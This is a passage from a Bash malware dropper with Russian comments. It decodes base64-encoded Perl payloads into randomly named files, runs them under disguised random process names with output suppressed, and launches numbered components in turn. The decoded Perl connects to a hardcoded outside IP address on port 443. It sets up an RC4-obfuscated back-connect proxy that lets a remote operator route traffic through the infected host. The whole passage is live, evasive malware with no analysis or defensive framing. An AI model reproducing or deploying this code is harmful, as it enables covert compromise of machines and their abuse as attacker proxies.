IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #42 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #42 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 43 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D 